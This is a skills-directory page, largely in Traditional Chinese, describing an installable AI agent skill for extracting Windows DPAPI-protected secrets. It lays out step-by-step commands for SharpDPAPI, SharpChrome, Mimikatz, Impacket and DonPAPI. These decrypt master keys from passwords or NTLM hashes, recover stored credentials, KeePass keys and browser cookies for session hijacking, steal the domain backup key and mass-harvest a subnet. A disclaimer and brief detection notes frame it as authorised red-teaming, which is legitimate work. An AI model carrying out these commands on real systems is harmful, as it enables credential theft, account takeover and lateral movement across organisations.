Communitygithub.com

濫用 DPAPI 進行憑證存取

從 Windows DPAPI 保護的機密(Credential Manager、瀏覽器登入資訊/Cookie、Wi-Fi 憑證、KeePass 金鑰)中提取並解密,支援線上或離線操作,使用工具包括 SharpDPAPI、SharpChrome、Mimikatz 或 Impacket。

濫用 DPAPI 進行憑證存取 是什麼?

此技能旨在協助紅隊或滲透測試人員,透過濫用 Windows Data Protection API(DPAPI)來提取加密儲存的憑證。DPAPI 是 Windows 內建的對稱加密服務,用於保護 Credential Manager、瀏覽器登入資訊與 Cookie、Wi-Fi 憑證、KeePass 金鑰、排程工作密碼等機密。攻擊者可藉由獲取使用者的密碼、NTLM Hash 或 Domain Admin 權限,解密其主金鑰(Master Key),進而解密所有 DPAPI 保護的 blob,實現離線或線上提取。 此技能涵蓋三種主要解密路徑:在目標使用者內容中線上解密(/unprotect)、使用密碼或 NTLM Hash 離線解密,以及使用 Domain Admin 取得的網域 DPAPI 備份金鑰(PVK)解密所有網域使用者的資料。支援的平台包括 Windows(使用 SharpDPAPI、SharpChrome、Mimikatz)與 Linux(使用 Impacket 和 DonPAPI 進行遠端或離線處理)。技能內容對應 MITRE ATT&CK T1555.004(Credential Manager)、T1555.003(瀏覽器憑證)與 T1003(OS 憑證傾印),並提供完整的工作流程、工具參考、偵測與 OPSEC 注意事項,以及驗證檢查清單。

相容平台~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/abusing-dpapi-for-credential-access

在你喜歡的 AI 中提問

開啟一個已預先載入此 Agent Skill 的新對話。

說明文件

濫用 DPAPI 進行憑證存取 是做什麼的?

法律聲明: 本技能僅供授權的滲透測試、紅隊演練及教育用途使用。從您不擁有或未經明確書面授權的系統中提取憑證是違法的,並可能違反電腦詐欺與濫用法規。請務必在簽署的評測規則內操作,並記錄所有行動。

概述

Windows 資料保護 API(DPAPI)是作業系統內建的對稱加密服務,應用程式用它來保護靜態機密:包括已儲存的 RDP 與 Windows Credential Manager 憑證、Credential Vault 中的網頁與 Wi-Fi 憑證、瀏覽器儲存的登入資訊與 Cookie(Chrome/Edge)、KeePass 金鑰、憑證私鑰以及排程工作密碼。DPAPI 從使用者的密碼(或電腦帳戶密碼)推導出一個每位使用者(或每台電腦)的主金鑰(Master Key),然後用這個主金鑰來加密各個「DPAPI blob」。加密後的主金鑰存放在 %APPDATA%\Microsoft\Protect\<SID>\(使用者)和 %WINDIR%\System32\Microsoft\Protect\(電腦)中。

紅隊人員濫用 DPAPI 在取得立足點後還原明文機密,對應到 MITRE ATT&CK T1555.004(來自密碼儲存庫的憑證:Windows Credential Manager)。主要的三種解密路徑如下:

  1. 線上 / 以內容為基礎 — 以目標使用者身分執行時,DPAPI API(CryptUnprotectData)會透明地解密該使用者的 blob。SharpDPAPI 的 /unprotect 標記即使用此方式。
  2. 使用使用者密碼或 NTLM Hash 離線解密 — 使用 /password: 或 /ntlm: 解密使用者的主金鑰,然後離線解密 blob(非常適合處理從主機拉取的已分類檔案)。
  3. 使用網域 DPAPI 備份金鑰進行全網域解密 — Domain Admin 可以一次提取網域的 RSA DPAPI 備份金鑰(.pvk),然後使用 /pvk: 永久解密任何網域使用者的主金鑰,無論線上或離線。

標準工具是 SharpDPAPI(GhostPack,Mimikatz DPAPI 功能的 C# 移植版)用於 Windows,SharpChrome 用於瀏覽器機密,以及 Mimikatz(dpapi::*)作為原始實作。在 Linux 上,Impacket 的 dpapi.py 和 donpapi 執行遠端/離線分類處理。

使用時機

  • 在入侵一台 Windows 主機後,該使用者存有值得為了橫向移動而收集的已儲存 RDP、瀏覽器或保管庫憑證。
  • 當您持有使用者的密碼或 NTLM Hash,並希望離線解密其 DPAPI 保護的機密時。
  • 當您擁有 Domain Admin 權限,並希望取得網域 DPAPI 備份金鑰,以解密整個資產中任何使用者的受保護資料。
  • 在從磁碟映像中分類已外洩的 Credentials、Vault 或 Protect 目錄時。
  • 在紫隊演練期間,用以驗證對 DPAPI 主金鑰存取以及 LSASS/Protect 資料夾讀取的偵測能力。

先決條件

  • 在目標 Windows 主機上擁有授權的立足點(互動式工作階段、beacon 或遠端管理員)。
  • 知道目標使用者的 SID,以及以下其中一項:使用者的工作階段、密碼、NTLM Hash,或用於備份金鑰的 Domain Admin 權限。
  • 工具(從原始碼編譯或使用發行版二進位檔;僅從官方上游取得):
# SharpDPAPI / SharpChrome (GhostPack) — 使用 Visual Studio / msbuild 建置
git clone https://github.com/GhostPack/SharpDPAPI.git
# 開啟 SharpDPAPI.sln 並建置 Release,或使用:
msbuild SharpDPAPI.sln /p:Configuration=Release

# Mimikatz (原始 DPAPI 實作)
# https://github.com/gentilkiwi/mimikatz/releases

# Linux 遠端/離線分類處理 (Impacket)
pipx install impacket            # 提供 dpapi.py / impacket-dpapi
pipx install donpapi             # https://github.com/login-securite/DonPAPI

目標

  • 對主機進行 DPAPI 保護的憑證、保管庫、RDP 和憑證 blob 分類。
  • 線上(/unprotect)、使用密碼/Hash 或使用網域備份金鑰解密使用者主金鑰。
  • 還原明文形式的 Credential Manager 和 Vault 機密。
  • 使用 SharpChrome 提取瀏覽器儲存的登入資訊和 Cookie。
  • 取得並重複使用網域 DPAPI 備份金鑰,以進行全資產解密。

MITRE ATT&CK 對應

技術 ID名稱戰術相關性
T1555.004來自密碼儲存庫的憑證:Windows Credential Manager憑證存取DPAPI 保護 Credential Manager / Vault 條目;解密主金鑰和 blob 可還原這些儲存的憑證。
T1555.003來自密碼儲存庫的憑證:來自網頁瀏覽器的憑證憑證存取SharpChrome 解密 DPAPI 保護的 Chrome/Edge 登入資訊、Cookie 和狀態金鑰。
T1003OS 憑證傾印憑證存取提取主金鑰 / 備份金鑰是憑證材料傾印的一種形式。

工作流程

1. 對主機進行 DPAPI blob 分類

在使用者內容中執行 SharpDPAPI triage 指令,以自動列舉並(在可能的情況下)解密憑證、保管庫、RDG/RDP 和憑證:

# 在目前使用者內容中線上分類(使用 CryptUnprotectData)
SharpDPAPI.exe triage /unprotect

# 電腦分類(需要本機管理員 / SYSTEM)以處理電腦範圍的 blob
SharpDPAPI.exe machinetriage

2. 離線解密使用者主金鑰(密碼或 NTLM Hash)

如果您持有使用者的密碼或 Hash,請解密其主金鑰,產生 {GUID}:SHA1 對應,以便重複用於各個 blob:

# 使用密碼解密目前/指定使用者的所有主金鑰
SharpDPAPI.exe masterkeys /password:CorrectHorseBatteryStaple

# 使用使用者的 NTLM Hash 而非密碼解密主金鑰
SharpDPAPI.exe masterkeys /ntlm:cc36cf7a8514893efccd332446158b1a

# 輸出為 GUID:SHA1 行 — 將它們饋送給 credentials/vaults 指令

3. 還原 Credential Manager 和 Vault 機密

使用已解密的主金鑰對應(或 /pvk:)來解密儲存的憑證和保管庫條目:

# 使用 GUID:SHA1 對應解密 Credential Manager blob
SharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1

# 或指向目標 Credentials 資料夾,並使用網域備份金鑰解密
SharpDPAPI.exe credentials /target:C:\Users\bob\AppData\Local\Microsoft\Credentials\ /pvk:backupkey.pvk

# 解密 Credential Vault 條目
SharpDPAPI.exe vaults /pvk:backupkey.pvk

4. 解密 RDP、KeePass 和憑證機密

# 已儲存的 RDCMan.settings RDP 密碼(目前使用者內容)
SharpDPAPI.exe rdg /unprotect

# KeePass DPAPI 保護的主金鑰
SharpDPAPI.exe keepass /unprotect

# 憑證私鑰(搭配 /showall 匯出可用的 .pem,適用於所有存放區)
SharpDPAPI.exe certificates /unprotect /showall

5. 使用 SharpChrome 提取瀏覽器憑證

SharpChrome 解密 Chrome/Edge 的登入資訊和 Cookie。現代 Chromium 使用應用程式繫結的「狀態金鑰」,SharpChrome 透過 DPAPI 解析該金鑰:

# 解密目前使用者的已儲存登入資訊
SharpChrome.exe logins /unprotect

# 解密目標資料夾中的 Cookie(可用於工作階段劫持)
SharpChrome.exe cookies /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" /pvk:backupkey.pvk

# 明確解析 AES 狀態金鑰
SharpChrome.exe statekeys /unprotect

6. 取得網域 DPAPI 備份金鑰(Domain Admin)

擁有 Domain Admin 權限後,一次取得網域的 RSA DPAPI 備份私鑰。此金鑰可以永久解密每個網域使用者的主金鑰:

# 透過 MS-BKRP RPC 介面提取並儲存網域備份金鑰為 .pvk
SharpDPAPI.exe backupkey /server:dc01.corp.local /file:backupkey.pvk

然後使用該金鑰離線解密任何使用者的主金鑰:

SharpDPAPI.exe masterkeys /pvk:backupkey.pvk /target:C:\Users\alice\AppData\Roaming\Microsoft\Protect\

7. 遠端 / 基於 Linux 的分類處理(Impacket / DonPAPI)

從 Linux 操作機上,收集並解密跨主機的 DPAPI 機密:

# 使用 Impacket 和網域備份金鑰解密單個 masterkey 檔案
impacket-dpapi masterkey -file <masterkey_file> -pvk backupkey.pvk

# 使用還原的主金鑰解密憑證 blob
impacket-dpapi credential -file <cred_blob> -key 0x<decrypted_masterkey>

# 使用 DonPAPI 進行跨主機的大量遠端 DPAPI 擷取
donpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0/24

工具與資源

工具用途連結
SharpDPAPIWindows DPAPI 分類/解密(C#)https://github.com/GhostPack/SharpDPAPI
SharpChromeChromium 登入資訊/Cookie/狀態金鑰解密https://github.com/GhostPack/SharpDPAPI
Mimikatz原始 DPAPI(dpapi::*)實作https://github.com/gentilkiwi/mimikatz
Impacket dpapi.py遠端/離線 DPAPI 解密(Python)https://github.com/fortra/impacket
DonPAPI大量遠端 DPAPI 擷取https://github.com/login-securite/DonPAPI
HackTricks DPAPI技術參考https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html

偵測與 OPSEC 注意事項

  • 主金鑰存取以及對 \Microsoft\Protect\ 和 \Microsoft\Credentials\ 的讀取是可偵測的;backupkey 會觸發對 DC 的 MS-BKRP RPC 呼叫。
  • /unprotect(線上)路徑是單主機最隱蔽的選項,但僅在作為即時使用者時有效。
  • 防禦者應監控 Sysmon 對 LSASS 的處理程序存取,以及對 Protect/Credentials 資料夾的異常存取(DE.CM-01)。

驗證標準

  • 使用 SharpDPAPI triage / machinetriage 對主機進行分類。
  • 使用 /unprotect、/password:、/ntlm: 或 /pvk: 解密使用者主金鑰。
  • 還原 Credential Manager 和 Vault 機密。
  • 在存在的情況下提取 RDP / KeePass / 憑證機密。
  • 使用 SharpChrome 解密瀏覽器登入資訊/Cookie。
  • 使用 Domain Admin 取得網域 DPAPI 備份金鑰(若在範圍內)並離線重複使用。
  • 所有還原的機密均記錄有來源主機/使用者,並確認遵守評測規則。

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

analyzing-docker-container-forensics

Investigate compromised Docker containers by analyzing images, layers,

相關技能